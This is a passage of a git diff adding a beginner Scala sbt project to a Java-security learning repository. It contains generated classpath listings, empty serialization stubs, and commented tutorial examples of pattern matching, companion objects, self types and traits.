sers/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scripted-plugin_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/protocol_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-style-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/completion_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-xml_2.12-2.3.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ipcsocket-1.6.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-jawn-parser_2.12-1.3.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classpath_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jsch-0.2.17.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-position_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/lm-coursier-shaded_2.12-2.1.4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-scalajson_2.12-1.0.0-M4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classfile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-native-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-logging_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jansi-2.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-apache-httpasyncclient-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/core-macros_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/logic_2.12-1.10.1.jar diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/internalDependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/internalDependencyClasspath/_global/streams/export new file mode 100644 index 00000000..c9499290 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/internalDependencyClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/classes diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/internalDependencyClasspath/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/internalDependencyClasspath/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/managedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/managedClasspath/_global/streams/export new file mode 100644 index 00000000..840acb78 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/managedClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-xml_2.12-2.2.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-reflect.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/io_2.12-1.10.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist-core-assembly-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/slf4j-api-1.7.36.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-2.14.7-sbt-9c3b6aca11c57e339441442bbf58e550cdfecb79.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/command_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-reader-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-collection-compat_2.12-2.11.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-control_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-api-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-bridge_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main-settings_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-core_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbinary_2.12-0.5.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/error_prone_annotations-2.4.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-core_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/config-1.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-interface-1.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ivy-2.3.0-sbt-396a783bba347016e7fe30dacc60d355be607fe2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/actions_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbt-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-library-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-apache-http_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/checker-qual-3.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/caffeine-2.8.5.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-tracking_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/testing_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-core-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-agent-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/launcher-interface-1.4.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-apiinfo_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-slf4j-impl-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/tasks_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/file-tree-views-2.1.12.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/collections_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-scalajson_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/task-system_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-lm-integration_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-murmurhash_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ssl-config-core_2.12-0.6.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-ivy_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jna-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-cache_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-parser-combinators_2.12-1.1.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zero-allocation-hashing-0.16.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jansi-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/run_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/reactive-streams-1.0.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-reflect-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-platform-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/disruptor-3.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/template-resolver-0.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-builtins-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-relation_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-compiler-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scripted-plugin_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/protocol_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-style-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/completion_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-xml_2.12-2.3.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ipcsocket-1.6.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-jawn-parser_2.12-1.3.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classpath_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jsch-0.2.17.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-position_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/lm-coursier-shaded_2.12-2.1.4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-scalajson_2.12-1.0.0-M4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classfile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-native-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-logging_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jansi-2.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-apache-httpasyncclient-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/core-macros_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/logic_2.12-1.10.1.jar diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedClasspath/_global/streams/export new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedClasspath/_global/streams/export @@ -0,0 +1 @@ + diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedClasspath/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedClasspath/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedJars/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedJars/_global/streams/export new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedJars/_global/streams/export @@ -0,0 +1 @@ + diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/LazyList/Person.scala b/JavaSecurity/JDK/Scala1/src/main/scala/LazyList/Person.scala new file mode 100644 index 00000000..04f77ace --- /dev/null +++ b/JavaSecurity/JDK/Scala1/src/main/scala/LazyList/Person.scala @@ -0,0 +1,7 @@ +package LazyList + +class Person extends Serializable{ + + + +} diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/LazyList/Serialize.scala b/JavaSecurity/JDK/Scala1/src/main/scala/LazyList/Serialize.scala new file mode 100644 index 00000000..3d464111 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/src/main/scala/LazyList/Serialize.scala @@ -0,0 +1,6 @@ +package LazyList + +class Serialize { + + +} diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/HelloWorld.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/HelloWorld.scala new file mode 100644 index 00000000..75634761 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/HelloWorld.scala @@ -0,0 +1,5 @@ +object HelloSpark{ + def main(args:Array[String]):Unit = { + println("Hello Spark!") + } +} \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/Match.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/Match.scala new file mode 100644 index 00000000..b575f533 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/Match.scala @@ -0,0 +1,17 @@ +package basiCode;object Match { + def show(result:String):Unit={ + println(result) + } + def main(args: Array[String]): Unit = { + val x=11 + val y=x match { + case 1 => "one" + case 2 => "two" + case other => s"other: $other" // other是一个变量名,它会接收除了1和2以外的任何值 + case _ => s"other: _" + } + show(y) + //other: 11 + + } + } diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/Person.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/Person.scala new file mode 100644 index 00000000..2f389344 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/Person.scala @@ -0,0 +1,67 @@ +// 定义一个Person类,作为伴生类 +class Person(val name: String, val age: Int) { + private val secret = "I love Scala" + + + def sayHello(): Unit = { + println(s"Hello, I am $name, $age years old.") + } +} + +// 定义一个Person对象,作为伴生对象 +object Person { + + var count = 0 + + def increase(): Unit = { + count += 1 + println(s"Person count: $count") + } + + def showSec():Unit={ + println(apply("test",1).secret) + } + + // 定义一个apply方法,用于创建Person类的实例 + def apply(name: String, age: Int): Person = { + increase() + new Person(name, age) // 返回新的Person对象 + } + + // 定义一个unapply方法,用于提取Person类的属性 + def unapply(person: Person): Option[(String, Int)] = { + if (person == null) None // 如果person为空,返回None + else Some(person.name, person.age) // 否则返回Some元组 + } +} +object Main { + + def main(args: Array[String]): Unit = { + // 使用伴生对象的apply方法创建Person类的实例,省略了new关键字 + val p1 = Person("Alice", 20)//Person count: 1 + val p2 = Person("Bob", 25)//Person count: 2 + + // 使用伴生对象的字段和方法 + println(Person.count) // 输出2 + Person.increase() // Person count: 3 + Person.showSec()//输出Person count: 4 + //I love Scala(伴生对象可以访问伴生类的私有成员) + + // 使用伴生类的字段和方法 + /* + println(p1.secret)// 无法访问私有成员 + */ + p1.sayHello() // 输出Hello, I am Alice, 20 years old. + + // 使用模式匹配和提取器,利用伴生对象的unapply方法 + val p3=null + p1 match { + case Person(name, age) => println(s"$name is $age years old.") // 输出Alice is 20 years old. + case _ => println("Unknown person.") + } + p3 match { + case Person(name, age) => println(s"$name is $age years old.") // 输出Unknown person. + case _ => println("Unknown person.") + } + } +} diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/apply.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/apply.scala new file mode 100644 index 00000000..8160d848 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/apply.scala @@ -0,0 +1,16 @@ +//class Person(val name: String, val age: Int) +// +//object Person { +// def apply(name: String, age: Int): Person = new Person(name, age) +// +// def main(args: Array[String]): Unit = { +// +// // 使用 apply 方法创建对象 +// val person = Person("Alice", 25) +// println(person.name) +// } +// +//} +// +// +// diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/self_type/Cat.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/self_type/Cat.scala new file mode 100644 index 00000000..23bcfa96 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/self_type/Cat.scala @@ -0,0 +1,44 @@ +package basiCode.self_type + + +object Cat { + + class Cat { + val name: String = "Tom" + val color: String = "Gray" + + def meow(): Unit = println("Meow!") + + } + trait Talkative { + def talk(): Unit + } + + trait Singer { + self: Talkative => // 声明自身类型,表示Singer依赖于Talkative + def sing(): Unit = { + talk() // 可以直接使用Talkative的成员 + println("La la la...") + } + } + + trait Dancer { + self: Singer => // 声明自身类型,表示Dancer依赖于Singer + def dance(): Unit = { + sing() // 可以直接使用Singer的成员 + println("Shake shake shake...") + } + } + + def main(args: Array[String]): Unit = { + val tom = new Cat with Talkative with Singer with Dancer { + override def talk(): Unit = { + println("test") + } + } // 创建一个会说话、唱歌、跳舞的猫 + tom.talk() // 输出:Meow! + tom.sing() // 输出:Meow! La la la... + tom.dance() // 输出:Meow! La la la... Shake shake shake... + } + +} diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBody.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBody.scala new file mode 100644 index 00000000..345128e5 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBody.scala @@ -0,0 +1,6 @@ +package basiCode.`trait` + +trait PersonBody { + + val height: Int +} diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBodyImpl.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBodyImpl.scala new file mode 100644 index 00000000..1df87475 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBodyImpl.scala @@ -0,0 +1,13 @@ +import basiCode.`trait`.PersonBody + +object PersonBodyImpl { + + class PersonBodyImpl(name : String) extends PersonBody{ + override val height: Int = 185 + } + def main(args: Array[String]): Unit = { + var person = new PersonBodyImpl("Cloud") + println(person.height) + //185 + } +} \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBodyImpls.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBodyImpls.scala new file mode 100644 index 00000000..0f586ad7 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBodyImpls.scala @@ -0,0 +1,25 @@ +import basiCode.`trait`.{PersonBody, PersonHobby} + +object PersonBodyImpls { + + class PersonBodyImpls(name : String) extends PersonBody with PersonHobby { + + override def showHobby(): Unit = { + println(hobbyGame) + } + + override val height: Int = 185 + + override var hobbyGame: String = "Drunkbaby sleep" + + } + + def main(args: Array[String]): Unit = { + var person = new PersonBodyImpls("Cloud") + person.showHobby() + + } + + +} + diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonHobby.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonHobby.scala new file mode 100644 index 00000000..d3634333 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonHobby.scala @@ -0,0 +1,6 @@ +package basiCode.`trait` + +trait PersonHobby{ + var hobbyGame: String + def showHobby() +} \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/HelloSpark$.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/HelloSpark$.class new file mode 100644 index 00000000..5731117a Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/HelloSpark$.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/HelloSpark.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/HelloSpark.class new file mode 100644 index 00000000..c1710a19 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/HelloSpark.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Main$.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Main$.class new file mode 100644 index 00000000..7fea1daa Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Main$.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Main.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Main.class new file mode 100644 index 00000000..e188c1ef Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Main.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Person$.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Person$.class new file mode 100644 index 00000000..82e8b461 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Person$.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Person.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Person.class new file mode 100644 index 00000000..299976d1 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Person.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl$.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl$.class new file mode 100644 index 00000000..bfd290a4 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl$.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl$PersonBodyImpl.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl$PersonBodyImpl.class new file mode 100644 index 00000000..96f4179d Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl$PersonBodyImpl.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl.class new file mode 100644 index 00000000..69bcdbab Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls$.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls$.class new file mode 100644 index 00000000..2ef29221 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls$.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls$PersonBodyImpls.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls$PersonBodyImpls.class new file mode 100644 index 00000000..99efe675 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls$PersonBodyImpls.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls.class new file mode 100644 index 00000000..a1926f4c Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/Match$.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/Match$.class new file mode 100644 index 00000000..18eb0d9b Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/Match$.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/Match.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/Match.class new file mode 100644 index 00000000..e2d792cb Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/Match.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$$anon1ドル.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$$anon1ドル.class new file mode 100644 index 00000000..d6906263 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$$anon1ドル.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$.class new file mode 100644 index 00000000..7f96c1f7 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Cat.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Cat.class new file mode 100644 index 00000000..43784d4c Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Cat.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Dancer.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Dancer.class new file mode 100644 index 00000000..d452cc25 Binary files /dev/null and 